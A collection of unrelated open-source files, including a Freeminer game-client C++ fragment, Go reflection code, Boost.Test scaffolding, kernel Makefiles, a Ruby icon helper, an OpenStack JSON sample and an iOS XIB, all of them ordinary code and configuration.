pkt << (u8) VERSION_MAJOR << (u8) VERSION_MINOR << (u8) VERSION_PATCH
<< (u8) 0 << (u16) strlen(g_version_hash);
pkt.putRawString(g_version_hash, (u16) strlen(g_version_hash));
Send(&pkt);
}
void Client::sendPlayerPos()
{
LocalPlayer *myplayer = m_env.getLocalPlayer();
if(myplayer == NULL)
return;
ClientMap &map = m_env.getClientMap();
u8 camera_fov = map.getCameraFov();
u8 wanted_range = map.getControl().wanted_range;
// Save bandwidth by only updating position when something changed
if(myplayer->last_position == myplayer->getPosition() &&
myplayer->last_speed == myplayer->getSpeed() &&
myplayer->last_pitch == myplayer->getPitch() &&
myplayer->last_yaw == myplayer->getYaw() &&
myplayer->last_keyPressed == myplayer->keyPressed &&
myplayer->last_camera_fov == camera_fov &&
myplayer->last_wanted_range == wanted_range)
return;
myplayer->last_position = myplayer->getPosition();
myplayer->last_speed = myplayer->getSpeed();
myplayer->last_pitch = myplayer->getPitch();
myplayer->last_yaw = myplayer->getYaw();
myplayer->last_keyPressed = myplayer->keyPressed;
myplayer->last_camera_fov = camera_fov;
myplayer->last_wanted_range = wanted_range;
//infostream << "Sending Player Position information" << std::endl;
u16 our_peer_id;
{
//MutexAutoLock lock(m_con_mutex); //bulk comment-out
our_peer_id = m_con.GetPeerID();
}
// Set peer id if not set already
if(myplayer->peer_id == PEER_ID_INEXISTENT)
myplayer->peer_id = our_peer_id;
assert(myplayer->peer_id == our_peer_id);
NetworkPacket pkt(TOSERVER_PLAYERPOS, 12 + 12 + 4 + 4 + 4 + 1 + 1);
writePlayerPos(myplayer, &map, &pkt);
Send(&pkt);
}
void Client::sendPlayerItem(u16 item)
{
LocalPlayer *myplayer = m_env.getLocalPlayer();
if(myplayer == NULL)
return;
u16 our_peer_id = m_con.GetPeerID();
// Set peer id if not set already
if(myplayer->peer_id == PEER_ID_INEXISTENT)
myplayer->peer_id = our_peer_id;
assert(myplayer->peer_id == our_peer_id);
NetworkPacket pkt(TOSERVER_PLAYERITEM, 2);
pkt << item;
Send(&pkt);
}
void Client::sendDrawControl() { }
#endif
void Client::removeNode(v3s16 p, int fast)
{
std::map<v3s16, MapBlock*> modified_blocks;
try {
m_env.getMap().removeNodeAndUpdate(p, modified_blocks, fast ? fast : 2);
}
catch(InvalidPositionException &e) {
}
for(std::map<v3s16, MapBlock * >::iterator
i = modified_blocks.begin();
i != modified_blocks.end(); ++i) {
addUpdateMeshTaskWithEdge(i->first, true);
}
}
void Client::addNode(v3s16 p, MapNode n, bool remove_metadata, int fast)
{
//TimeTaker timer1("Client::addNode()");
std::map<v3s16, MapBlock*> modified_blocks;
try {
//TimeTaker timer3("Client::addNode(): addNodeAndUpdate");
m_env.getMap().addNodeAndUpdate(p, n, modified_blocks, remove_metadata, fast ? fast : 2);
}
catch(InvalidPositionException &e) {
}
addUpdateMeshTaskForNode(p, true);
for(std::map<v3s16, MapBlock * >::iterator
i = modified_blocks.begin();
i != modified_blocks.end(); ++i) {
addUpdateMeshTaskWithEdge(i->first, true);
}
}
void Client::setPlayerControl(PlayerControl &control)
{
LocalPlayer *player = m_env.getLocalPlayer();
assert(player != NULL);
player->control = control;
}
void Client::selectPlayerItem(u16 item)
{
m_previous_playeritem = m_playeritem;
m_playeritem = item;
m_inventory_updated = true;
sendPlayerItem(item);
}
// Returns true if the inventory of the local player has been
// updated from the server. If it is true, it is set to false.
bool Client::getLocalInventoryUpdated()
{
bool updated = m_inventory_updated;
m_inventory_updated = false;
return updated;
}
// Copies the inventory of the local player to parameter
void Client::getLocalInventory(Inventory &dst)
{
LocalPlayer *player = m_env.getLocalPlayer();
assert(player != NULL);
dst = player->inventory;
}
Inventory* Client::getInventory(const InventoryLocation &loc)
{
switch(loc.type){
case InventoryLocation::UNDEFINED:
{}
break;
case InventoryLocation::CURRENT_PLAYER:
{
LocalPlayer *player = m_env.getLocalPlayer();
assert(player != NULL);
return &player->inventory;
}
break;
case InventoryLocation::PLAYER:
{
// Check if we are working with local player inventory
LocalPlayer *player = m_env.getLocalPlayer();
if (!player || player->getName() != loc.name)
return NULL;
return &player->inventory;
}
break;
case InventoryLocation::NODEMETA:
{
NodeMetadata *meta = m_env.getMap().getNodeMetadata(loc.p);
if(!meta)
return NULL;
return meta->getInventory();
}
break;
case InventoryLocation::DETACHED:
{
if (m_detached_inventories.count(loc.name) == 0)
return NULL;
return m_detached_inventories[loc.name];
}
break;
default:
FATAL_ERROR("Invalid inventory location type.");
break;
}
return NULL;
}
void Client::inventoryAction(InventoryAction *a)
{
/*
Send it to the server
*/
sendInventoryAction(a);
/*
Predict some local inventory changes
*/
a->clientApply(this, this);
// Remove it
delete a;
}
ClientActiveObject * Client::getSelectedActiveObject(
f32 max_d,
v3f from_pos_f_on_map,
core::line3d<f32> shootline_on_map
)
{
std::vector<DistanceSortedActiveObject> objects;
m_env.getActiveObjects(from_pos_f_on_map, max_d, objects);
// Sort them.
// After this, the closest object is the first in the array.
std::sort(objects.begin(), objects.end());
for(u32 i=0; i<objects.size(); i++)
{
ClientActiveObject *obj = objects[i].obj;
aabb3f *selection_box = obj->getSelectionBox();
if(selection_box == NULL)
continue;
v3f pos = obj->getPosition();
aabb3f offsetted_box(
selection_box->MinEdge + pos,
selection_box->MaxEdge + pos
);
if(offsetted_box.intersectsWithLine(shootline_on_map))
{
return obj;
}
}
return NULL;
}
float Client::getAnimationTime()
{
return m_animation_time;
}
int Client::getCrackLevel()
{
return m_crack_level;
}
void Client::setCrack(int level, v3s16 pos)
{
int old_crack_level = m_crack_level;
v3s16 old_crack_pos = m_crack_pos;
m_crack_level = level;
m_crack_pos = pos;
if(old_crack_level >= 0 && (level < 0 || pos != old_crack_pos))
{
// remove old crack
addUpdateMeshTaskForNode(old_crack_pos, true);
}
if(level >= 0 && (old_crack_level < 0 || pos != old_crack_pos))
{
// add new crack
addUpdateMeshTaskForNode(pos, true);
}
}
u16 Client::getHP()
{
LocalPlayer *player = m_env.getLocalPlayer();
assert(player != NULL);
return player->hp;
}
bool Client::getChatMessage(std::string &message)
{
if(m_chat_queue.size() == 0)
return false;
message = m_chat_queue.pop_front();
return true;
}
void Client::typeChatMessage(const std::string &message)
{
// Discard empty line
if(message.empty())
return;
if (message[0] == '/') {
// TODO register client commands in help
std::string command = message.substr(1,-1);
// Clears on-screen chat messages
if (command.compare("clear") == 0) {
chat_backend->clearRecentChat();
return;
// it's kinda self-evident when you run a local command
} else {
m_chat_queue.push("issued command: " + message);
}
}
//freeminer display self message after recieving from server
#if MINETEST_PROTO
else
{
LocalPlayer *player = m_env.getLocalPlayer();
assert(player != NULL);
std::string name = (player->getName());
m_chat_queue.push(std::string() + "<" + name + "> " + message);
}
#endif
// Send to others
sendChatMessage(message);
}
void Client::addUpdateMeshTask(v3s16 p, bool urgent, int step)
{
//ScopeProfiler sp(g_profiler, "Client: Mesh prepare");
MapBlock *b = m_env.getMap().getBlockNoCreateNoEx(p);
if(b == NULL)
return;
/*
Create a task to update the mesh of the block
*/
auto & draw_control = m_env.getClientMap().getControl();
std::shared_ptr<MeshMakeData> data(new MeshMakeData(this, m_cache_enable_shaders,
m_cache_use_tangent_vertices,
m_env.getMap(), draw_control));
{
//TimeTaker timer("data fill");
// Release: ~0ms
// Debug: 1-6ms, avg=2ms
data->fill(b);
#if ! ENABLE_THREADS
if (!data->fill_data())
return;
#endif
data->setCrack(m_crack_level, m_crack_pos);
data->setSmoothLighting(m_cache_smooth_lighting);
data->step = step ? step : getFarmeshStep(data->draw_control, getNodeBlockPos(floatToInt(m_env.getLocalPlayer()->getPosition(), BS)), p);
data->range = getNodeBlockPos(floatToInt(m_env.getLocalPlayer()->getPosition(), BS)).getDistanceFrom(p);
if (step)
data->no_draw = true;
}
// Add task to queue
//unsigned int qsize =
//m_mesh_update_thread.m_queue_in.addBlock(p, data, urgent);
m_mesh_update_thread.enqueueUpdate(p, data, urgent);
//draw_control.block_overflow = qsize > 1000; // todo: depend on mesh make speed
}
void Client::addUpdateMeshTaskWithEdge(v3POS blockpos, bool urgent)
{
for (int i=0;i<7;i++)
{
try{
v3s16 p = blockpos + g_6dirs[i];
addUpdateMeshTask(p, urgent);
}
catch(InvalidPositionException &e){}
}
}
void Client::addUpdateMeshTaskForNode(v3s16 nodepos, bool urgent)
{
/*
{
v3s16 p = nodepos;
infostream<<"Client::addUpdateMeshTaskForNode(): "
<<"("<<p.X<<","<<p.Y<<","<<p.Z<<")"
<<std::endl;
}
*/
v3s16 blockpos = getNodeBlockPos(nodepos);
v3s16 blockpos_relative = blockpos * MAP_BLOCKSIZE;
try{
addUpdateMeshTask(blockpos, urgent);
}
catch(InvalidPositionException &e){}
// Leading edge
if(nodepos.X == blockpos_relative.X){
try{
v3s16 p = blockpos + v3s16(-1,0,0);
addUpdateMeshTask(p, urgent);
}
catch(InvalidPositionException &e){}
}
if(nodepos.Y == blockpos_relative.Y){
try{
v3s16 p = blockpos + v3s16(0,-1,0);
addUpdateMeshTask(p, urgent);
}
catch(InvalidPositionException &e){}
}
if(nodepos.Z == blockpos_relative.Z){
try{
v3s16 p = blockpos + v3s16(0,0,-1);
addUpdateMeshTask(p, urgent);
}
catch(InvalidPositionException &e){}
}
}
void Client::updateMeshTimestampWithEdge(v3s16 blockpos) {
for (int i = 0; i < 7; ++i) {
auto *block = m_env.getMap().getBlockNoCreateNoEx(blockpos + g_6dirs[i]);
if(!block)
continue;
block->setTimestampNoChangedFlag(m_uptime);
}
}
ClientEvent Client::getClientEvent()
{
if (m_client_event_queue.empty()) {
ClientEvent event;
event.type = CE_NONE;
return event;
}
return m_client_event_queue.pop_front();
}
float Client::mediaReceiveProgress()
{
if (m_media_downloader)
return m_media_downloader->getProgress();
else
return 1.0; // downloader only exists when not yet done
}
typedef struct TextureUpdateArgs {
IrrlichtDevice *device;
gui::IGUIEnvironment *guienv;
u32 last_time_ms;
u16 last_percent;
const wchar_t* text_base;
} TextureUpdateArgs;
void texture_update_progress(void *args, u32 progress, u32 max_progress)
{
TextureUpdateArgs* targs = (TextureUpdateArgs*) args;
u16 cur_percent = ceil(progress / (double) max_progress * 100.);
// update the loading menu -- if neccessary
bool do_draw = false;
u32 time_ms = targs->last_time_ms;
if (cur_percent != targs->last_percent) {
targs->last_percent = cur_percent;
time_ms = getTimeMs();
// only draw when the user will notice something:
do_draw = (time_ms - targs->last_time_ms > 100);
}
if (do_draw) {
targs->last_time_ms = time_ms;
std::basic_stringstream<wchar_t> strm;
strm << targs->text_base << " " << targs->last_percent << "%...";
draw_load_screen(strm.str(), targs->device, targs->guienv, 0,
72 + (u16) ((18. / 100.) * (double) targs->last_percent));
}
#ifdef __ANDROID__
else {
targs->device->run();
}
#endif
}
void Client::afterContentReceived(IrrlichtDevice *device)
{
//infostream<<"Client::afterContentReceived() started"<<std::endl;
static auto headless_optimize = g_settings->getBool("headless_optimize"); //device->getVideoDriver()->getDriverType() == video::EDT_NULL;
//bool no_output = device->getVideoDriver()->getDriverType() == video::EDT_NULL;
const wchar_t* text = wgettext("Loading textures...");
// Clear cached pre-scaled 2D GUI images, as this cache
// might have images with the same name but different
// content from previous sessions.
guiScalingCacheClear(device->getVideoDriver());
// Rebuild inherited images and recreate textures
infostream<<"- Rebuilding images and textures"<<std::endl;
draw_load_screen(text,device, guienv, 0, 70);
if (!headless_optimize)
m_tsrc->rebuildImagesAndTextures();
delete[] text;
// Rebuild shaders
infostream<<"- Rebuilding shaders"<<std::endl;
text = wgettext("Rebuilding shaders...");
draw_load_screen(text, device, guienv, 0, 71);
if (!headless_optimize)
m_shsrc->rebuildShaders();
delete[] text;
// Update node aliases
infostream<<"- Updating node aliases"<<std::endl;
text = wgettext("Initializing nodes...");
draw_load_screen(text, device, guienv, 0, 72);
m_nodedef->updateAliases(m_itemdef);
std::string texture_path = g_settings->get("texture_path");
if (texture_path != "" && fs::IsDir(texture_path))
m_nodedef->applyTextureOverrides(texture_path + DIR_DELIM + "override.txt");
m_nodedef->setNodeRegistrationStatus(true);
m_nodedef->runNodeResolveCallbacks();
delete[] text;
if (!headless_optimize) {
// Update node textures and assign shaders to each tile
infostream<<"- Updating node textures"<<std::endl;
TextureUpdateArgs tu_args;
tu_args.device = device;
tu_args.guienv = guienv;
tu_args.last_time_ms = getTimeMs();
tu_args.last_percent = 0;
tu_args.text_base = wgettext("Initializing nodes");
m_nodedef->updateTextures(this, texture_update_progress, &tu_args);
delete[] tu_args.text_base;
}
if (!headless_optimize) {
// Start mesh update thread after setting up content definitions
int threads = !g_settings->getBool("more_threads") ? 1 : (Thread::getNumberOfProcessors() - (m_simple_singleplayer_mode ? 3 : 1));
infostream<<"- Starting mesh update threads = "<<threads<<std::endl;
m_mesh_update_thread.start(threads < 1 ? 1 : threads);
}
m_state = LC_Ready;
sendReady();
text = wgettext("Done!");
draw_load_screen(text, device, guienv, 0, 100);
//infostream<<"Client::afterContentReceived() done"<<std::endl;
delete[] text;
}
float Client::getRTT(void)
{
#if MINETEST_PROTO
return m_con.getPeerStat(PEER_ID_SERVER,con::AVG_RTT);
#else
return 0;
#endif
}
float Client::getCurRate(void)
{
#if MINETEST_PROTO
return ( m_con.getLocalStat(con::CUR_INC_RATE) +
m_con.getLocalStat(con::CUR_DL_RATE));
#else
return 0;
#endif
}
float Client::getAvgRate(void)
{
#if MINETEST_PROTO
return ( m_con.getLocalStat(con::AVG_INC_RATE) +
m_con.getLocalStat(con::AVG_DL_RATE));
#else
return 0;
#endif
}
void Client::makeScreenshot(const std::string & name, IrrlichtDevice *device)
{
if (!device)
device = m_device;
irr::video::IVideoDriver *driver = device->getVideoDriver();
irr::video::IImage* const raw_image = driver->createScreenShot();
if (!raw_image)
return;
time_t t = time(NULL);
struct tm *tm = localtime(&t);
char timetstamp_c[64];
strftime(timetstamp_c, sizeof(timetstamp_c), "%Y%m%d_%H%M%S", tm);
std::string screenshot_path = porting::path_user + DIR_DELIM + g_settings->get("screenshot_path");
if (!fs::CreateDir(screenshot_path)) {
errorstream << "Failed to save screenshot: can't create directory for screenshots (\"" << screenshot_path << "\")." << std::endl;
return;
}
std::string screenshot_name = name + std::string(timetstamp_c);
std::string filename_base = screenshot_path
+ DIR_DELIM
+ screenshot_name;
std::string filename_ext = "." + g_settings->get("screenshot_format");
std::string filename;
u32 quality = (u32)g_settings->getS32("screenshot_quality");
quality = MYMIN(MYMAX(quality, 0), 100) / 100.0 * 255;
// Try to find a unique filename
unsigned serial = 0;
while (serial < SCREENSHOT_MAX_SERIAL_TRIES) {
filename = filename_base + (serial > 0 ? ("_" + itos(serial)) : "") + filename_ext;
std::ifstream tmp(filename.c_str());
if (!tmp.good())
break; // File did not apparently exist, we'll go with it
serial++;
}
if (serial == SCREENSHOT_MAX_SERIAL_TRIES) {
errorstream << "Could not find suitable filename for screenshot" << std::endl;
} else {
irr::video::IImage* const image =
driver->createImage(video::ECF_R8G8B8, raw_image->getDimension());
if (image) {
raw_image->copyTo(image);
std::ostringstream sstr;
if (driver->writeImageToFile(image, filename.c_str(), quality)) {
if (name == "screenshot_")
sstr << "Saved screenshot to '" << screenshot_name << filename_ext << "'";
} else {
sstr << "Failed to save screenshot '" << screenshot_name << filename_ext << "'";
}
m_chat_queue.push(sstr.str());
infostream << sstr.str() << std::endl;
image->drop();
}
}
raw_image->drop();
}
// IGameDef interface
// Under envlock
IItemDefManager* Client::getItemDefManager()
{
return m_itemdef;
}
INodeDefManager* Client::getNodeDefManager()
{
return m_nodedef;
}
ICraftDefManager* Client::getCraftDefManager()
{
return NULL;
//return m_craftdef;
}
ITextureSource* Client::getTextureSource()
{
return m_tsrc;
}
IShaderSource* Client::getShaderSource()
{
return m_shsrc;
}
scene::ISceneManager* Client::getSceneManager()
{
return m_device->getSceneManager();
}
u16 Client::allocateUnknownNodeId(const std::string &name)
{
errorstream << "Client::allocateUnknownNodeId(): "
<< "Client cannot allocate node IDs" << std::endl;
FATAL_ERROR("Client allocated unknown node");
return CONTENT_IGNORE;
}
ISoundManager* Client::getSoundManager()
{
return m_sound;
}
MtEventManager* Client::getEventManager()
{
return m_event;
}
ParticleManager* Client::getParticleManager()
{
return &m_particle_manager;
}
scene::IAnimatedMesh* Client::getMesh(const std::string &filename)
{
static auto headless_optimize = g_settings->getBool("headless_optimize");
StringMap::const_iterator it = m_mesh_data.find(filename);
if (it == m_mesh_data.end()) {
if (!headless_optimize)
errorstream << "Client::getMesh(): Mesh not found: \"" << filename
<< "\"" << std::endl;
return NULL;
}
const std::string &data = it->second;
scene::ISceneManager *smgr = m_device->getSceneManager();
// Create the mesh, remove it from cache and return it
// This allows unique vertex colors and other properties for each instance
Buffer<char> data_rw(data.c_str(), data.size()); // Const-incorrect Irrlicht
io::IFileSystem *irrfs = m_device->getFileSystem();
io::IReadFile *rfile = irrfs->createMemoryReadFile(
*data_rw, data_rw.getSize(), filename.c_str());
FATAL_ERROR_IF(!rfile, "Could not create/open RAM file");
scene::IAnimatedMesh *mesh = smgr->getMesh(rfile);
rfile->drop();
// NOTE: By playing with Irrlicht refcounts, maybe we could cache a bunch
// of uniquely named instances and re-use them
mesh->grab();
smgr->getMeshCache()->removeMesh(mesh);
return mesh;
}
|
{
"pile_set_name": "Github"
}
|
#
# Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
#
# This code is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 only, as
# published by the Free Software Foundation. Oracle designates this
# particular file as subject to the "Classpath" exception as provided
# by Oracle in the LICENSE file that accompanied this code.
#
# This code is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
# version 2 for more details (a copy is included in the LICENSE file that
# accompanied this code).
#
# You should have received a copy of the GNU General Public License version
# 2 along with this work; if not, write to the Free Software Foundation,
# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
# or visit www.oracle.com if you need additional information or have any
# questions.
#
# (C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
# (C) Copyright IBM Corp. 1996 - 1999 - All Rights Reserved
#
# The original version of this source code and documentation
# is copyrighted and owned by Taligent, Inc., a wholly-owned
# subsidiary of IBM. These materials are provided under terms
# of a License Agreement between Taligent and Sun. This technology
# is protected by multiple US and International patents.
#
# This notice and attribution to Taligent may not be removed.
# Taligent is a registered trademark of Taligent, Inc.
SDG=\u062c.\u0633.\u200f
SDD=\u062f.\u0633.\u200f
|
{
"pile_set_name": "Github"
}
|
package reflect2
import (
"reflect"
"unsafe"
)
type UnsafeStructField struct {
reflect.StructField
structType *UnsafeStructType
rtype unsafe.Pointer
ptrRType unsafe.Pointer
}
func newUnsafeStructField(structType *UnsafeStructType, structField reflect.StructField) *UnsafeStructField {
return &UnsafeStructField{
StructField: structField,
rtype: unpackEFace(structField.Type).data,
ptrRType: unpackEFace(reflect.PtrTo(structField.Type)).data,
structType: structType,
}
}
func (field *UnsafeStructField) Offset() uintptr {
return field.StructField.Offset
}
func (field *UnsafeStructField) Name() string {
return field.StructField.Name
}
func (field *UnsafeStructField) PkgPath() string {
return field.StructField.PkgPath
}
func (field *UnsafeStructField) Type() Type {
return field.structType.cfg.Type2(field.StructField.Type)
}
func (field *UnsafeStructField) Tag() reflect.StructTag {
return field.StructField.Tag
}
func (field *UnsafeStructField) Index() []int {
return field.StructField.Index
}
func (field *UnsafeStructField) Anonymous() bool {
return field.StructField.Anonymous
}
func (field *UnsafeStructField) Set(obj interface{}, value interface{}) {
objEFace := unpackEFace(obj)
assertType("StructField.SetIndex argument 1", field.structType.ptrRType, objEFace.rtype)
valueEFace := unpackEFace(value)
assertType("StructField.SetIndex argument 2", field.ptrRType, valueEFace.rtype)
field.UnsafeSet(objEFace.data, valueEFace.data)
}
func (field *UnsafeStructField) UnsafeSet(obj unsafe.Pointer, value unsafe.Pointer) {
fieldPtr := add(obj, field.StructField.Offset, "same as non-reflect &v.field")
typedmemmove(field.rtype, fieldPtr, value)
}
func (field *UnsafeStructField) Get(obj interface{}) interface{} {
objEFace := unpackEFace(obj)
assertType("StructField.GetIndex argument 1", field.structType.ptrRType, objEFace.rtype)
value := field.UnsafeGet(objEFace.data)
return packEFace(field.ptrRType, value)
}
func (field *UnsafeStructField) UnsafeGet(obj unsafe.Pointer) unsafe.Pointer {
return add(obj, field.StructField.Offset, "same as non-reflect &v.field")
}
|
{
"pile_set_name": "Github"
}
|
// (C) Copyright Gennadiy Rozental 2001.
// (C) Copyright Beman Dawes 1995-2001.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// See http://www.boost.org/libs/test for the library home page.
//
/// @file
/// @brief Implements main function for Test Execution Monitor.
// ***************************************************************************
#ifndef BOOST_TEST_TEST_MAIN_IPP_012205GER
#define BOOST_TEST_TEST_MAIN_IPP_012205GER
// Boost.Test
#include <boost/test/framework.hpp>
#include <boost/test/test_tools.hpp>
#include <boost/test/unit_test_suite.hpp>
// Boost
#include <boost/cstdlib.hpp>
#include <boost/test/detail/suppress_warnings.hpp>
//____________________________________________________________________________//
extern int test_main( int argc, char* argv[] ); // prototype for user's test_main()
struct test_main_caller {
test_main_caller( int argc, char** argv ) : m_argc( argc ), m_argv( argv ) {}
void operator()() {
int test_main_result = test_main( m_argc, m_argv );
// translate a test_main non-success return into a test error
BOOST_CHECK( test_main_result == 0 || test_main_result == boost::exit_success );
}
private:
// Data members
int m_argc;
char** m_argv;
};
// ************************************************************************** //
// ************** test main ************** //
// ************************************************************************** //
::boost::unit_test::test_suite*
init_unit_test_suite( int argc, char* argv[] ) {
using namespace ::boost::unit_test;
framework::master_test_suite().p_name.value = "Test Program";
framework::master_test_suite().add( BOOST_TEST_CASE( test_main_caller( argc, argv ) ) );
return 0;
}
//____________________________________________________________________________//
#include <boost/test/detail/enable_warnings.hpp>
#endif // BOOST_TEST_TEST_MAIN_IPP_012205GER
|
{
"pile_set_name": "Github"
}
|
# SPDX-License-Identifier: GPL-2.0
armada-y := armada_crtc.o armada_drv.o armada_fb.o armada_fbdev.o \
armada_gem.o armada_overlay.o armada_trace.o
armada-y += armada_510.o
armada-$(CONFIG_DEBUG_FS) += armada_debugfs.o
obj-$(CONFIG_DRM_ARMADA) := armada.o
|
{
"pile_set_name": "Github"
}
|
# SPDX-License-Identifier: GPL-2.0
pl111_drm-y += pl111_display.o \
pl111_versatile.o \
pl111_drv.o
pl111_drm-$(CONFIG_ARCH_VEXPRESS) += pl111_vexpress.o
pl111_drm-$(CONFIG_ARCH_NOMADIK) += pl111_nomadik.o
pl111_drm-$(CONFIG_DEBUG_FS) += pl111_debugfs.o
obj-$(CONFIG_DRM_PL111) += pl111_drm.o
|
{
"pile_set_name": "Github"
}
|
import { FairEventSectionCard } from "../FairEventSectionCard"
describe(FairEventSectionCard, () => {
it.todo("No tests yet, it's just placeholders so far.")
})
|
{
"pile_set_name": "Github"
}
|
#
# This class help the creation of material icons in the UI.
#
class MaterialIcon
# To use content_tag
include ActionView::Helpers::TagHelper
# Undefined method will ref to the icon.
def method_missing(name)
@icon =
if name == :class_icon
'class' # Set the icon named 'class'
else
clear_icon(name)
end
self
end
#
# Reset will set all variables to nil
#
def reset
@icon, @rotation, @size, @html, @style, @css_class = [nil] * 6
self
end
#
# Define rotate methods
#
%w(r90 r180 r270 flip_horizontal flip_vertical).each do |rotation|
define_method(rotation) do
@rotation = " #{rotation.gsub('_', '-')}"
self
end
end
#
# Define size methods
#
%w(md_18 md_24 md_36 md_48).each do |size|
define_method(size) do
@size = " #{size.gsub('_', '-')} "
self
end
end
#
# Add a CSS class to :i tag
#
# == Paremeters:
# css_class::
# String with CSS classes
#
# == Returns:
# MaterialIcon instance
#
def css_class(css_class = '')
@css_class = " #{css_class}"
self
end
#
# Add CSS properties to :i tag
#
# == Paremeters:
# style::
# String with CSS rules
#
# == Returns:
# MaterialIcon instance
#
def style(css_style = '')
if css_style && css_style.empty?
# It references style icon
@icon = clear_icon('style')
else
# User wants to apply a style to the icon
@style = css_style
end
self
end
# Create an alias to use the original method
alias_method :super_send, :send
#
# Override send functionality to set the name of the icon to "send" when
# the method doesn't receive any parameters
#
# == Paremeters:
# name::
# Name of the method to call
# args::
# Arguments to send the method
#
# == Returns:
# MaterialIcon instance or the result of the method call
#
def send(name = '', *args)
if name && name.empty?
@icon = clear_icon('send')
# Return self
self
else
super_send(name.to_sym, *args)
end
end
#
# Add HTML options to :i tag.
#
# == Paremeters:
# html::
# Hash with options to add to :i tag. For example:
# { data: { id: 1 } }
#
# == Returns:
# MaterialIcon instance
#
def html(html = {})
@html = html
self
end
#
# Check based on rails config if the selected mode is unicode
#
def unicode?
MaterialIcons.unicode
end
#
# Create the HTML code for the icon. This method check if selected mode is
# unicode or ligatures.
#
# == Returns:
# Safe string
#
def to_s
# Sanitize html
@html = @html.nil? || !@html.is_a?(Hash) ? {} : @html
# Create the icon
if unicode?
content_tag(:i, '',
@html.merge(
style: @style,
class: "material-icons #{@icon}#{@size}#{@rotation}#{@css_class}"))
else
content_tag(:i, "#{@icon}",
@html.merge(
style: @style,
class: "material-icons#{@size}#{@rotation}#{@css_class}"))
end
end
# Fix #13. Some Rails methods uses to_str instead of to_s. In this case, to_str is handled
# by method_missing so it's returning the same instance and the method are failing
alias_method :to_str, :to_s
#
# Some methods require to_ary to be defined. We return nil in this method to avoid this class
# to be threated as an Array
#
# == Returns
# Nil
#
def to_ary
nil
end
private
#
# Convert icon names that start with a number to the correct format. On
# Material Design Icons version 2.0.0, unique conflict is the 3d-rotation
# icon
#
# == Parameters:
# icon:
# String with the name of the icon
#
# == Returns:
# An string with filtered name of the icon
#
def clear_icon(icon)
return icon if unicode? || icon != :three_d_rotation
'3d_rotation'
end
end
|
{
"pile_set_name": "Github"
}
|
{
"server" : {
"name" : "new-server-test",
"imageRef" : "%(host)s/openstack/images/%(image_id)s",
"flavorRef" : "%(host)s/openstack/flavors/1",
"metadata" : {
"My Server Name" : "Apache1"
},
"user_data" : "%(user_data)s",
"personality" : [
{
"path" : "/etc/banner.txt",
"contents" : "ICAgICAgDQoiQSBjbG91ZCBkb2VzIG5vdCBrbm93IHdoeSBpdCBtb3ZlcyBpbiBqdXN0IHN1Y2ggYSBkaXJlY3Rpb24gYW5kIGF0IHN1Y2ggYSBzcGVlZC4uLkl0IGZlZWxzIGFuIGltcHVsc2lvbi4uLnRoaXMgaXMgdGhlIHBsYWNlIHRvIGdvIG5vdy4gQnV0IHRoZSBza3kga25vd3MgdGhlIHJlYXNvbnMgYW5kIHRoZSBwYXR0ZXJucyBiZWhpbmQgYWxsIGNsb3VkcywgYW5kIHlvdSB3aWxsIGtub3csIHRvbywgd2hlbiB5b3UgbGlmdCB5b3Vyc2VsZiBoaWdoIGVub3VnaCB0byBzZWUgYmV5b25kIGhvcml6b25zLiINCg0KLVJpY2hhcmQgQmFjaA=="
}
]
}
}
|
{
"pile_set_name": "Github"
}
|
# global
<!-- [![build status][1]][2]
[![browser support][3]][4] -->
Require global variables
## Example
```js
var global = require("global")
var document = require("global/document")
var window = require("global/window")
```
## Installation
`npm install global`
## Contributors
- Raynos
## MIT Licenced
[1]: https://secure.travis-ci.org/Colingo/global.png
[2]: http://travis-ci.org/Colingo/global
[3]: http://ci.testling.com/Colingo/global.png
[4]: http://ci.testling.com/Colingo/global
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<archive type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="8.00">
<data>
<int key="IBDocument.SystemTarget">1296</int>
<string key="IBDocument.SystemVersion">11D50b</string>
<string key="IBDocument.InterfaceBuilderVersion">2182</string>
<string key="IBDocument.AppKitVersion">1138.32</string>
<string key="IBDocument.HIToolboxVersion">568.00</string>
<object class="NSMutableDictionary" key="IBDocument.PluginVersions">
<string key="NS.key.0">com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
<string key="NS.object.0">1181</string>
</object>
<array key="IBDocument.IntegratedClassDependencies">
<string>IBProxyObject</string>
<string>IBUIView</string>
<string>IBUILabel</string>
</array>
<array key="IBDocument.PluginDependencies">
<string>com.apple.InterfaceBuilder.IBCocoaTouchPlugin</string>
</array>
<object class="NSMutableDictionary" key="IBDocument.Metadata">
<string key="NS.key.0">PluginDependencyRecalculationVersion</string>
<integer value="1" key="NS.object.0"/>
</object>
<array class="NSMutableArray" key="IBDocument.RootObjects" id="1000">
<object class="IBProxyObject" id="372490531">
<string key="IBProxiedObjectIdentifier">IBFilesOwner</string>
<string key="targetRuntimeIdentifier">IBCocoaTouchFramework</string>
</object>
<object class="IBProxyObject" id="843779117">
<string key="IBProxiedObjectIdentifier">IBFirstResponder</string>
<string key="targetRuntimeIdentifier">IBCocoaTouchFramework</string>
</object>
<object class="IBUIView" id="774585933">
<reference key="NSNextResponder"/>
<int key="NSvFlags">274</int>
<array class="NSMutableArray" key="NSSubviews">
<object class="IBUILabel" id="207059041">
<reference key="NSNextResponder" ref="774585933"/>
<int key="NSvFlags">292</int>
<string key="NSFrame">{{181, 26}, {119, 56}}</string>
<reference key="NSSuperview" ref="774585933"/>
<reference key="NSWindow"/>
<string key="NSReuseIdentifierKey">_NS:9</string>
<bool key="IBUIOpaque">NO</bool>
<bool key="IBUIClipsSubviews">YES</bool>
<int key="IBUIContentMode">7</int>
<bool key="IBUIUserInteractionEnabled">NO</bool>
<string key="targetRuntimeIdentifier">IBCocoaTouchFramework</string>
<string key="IBUIText">1. 第三方</string>
<object class="NSColor" key="IBUITextColor" id="986849563">
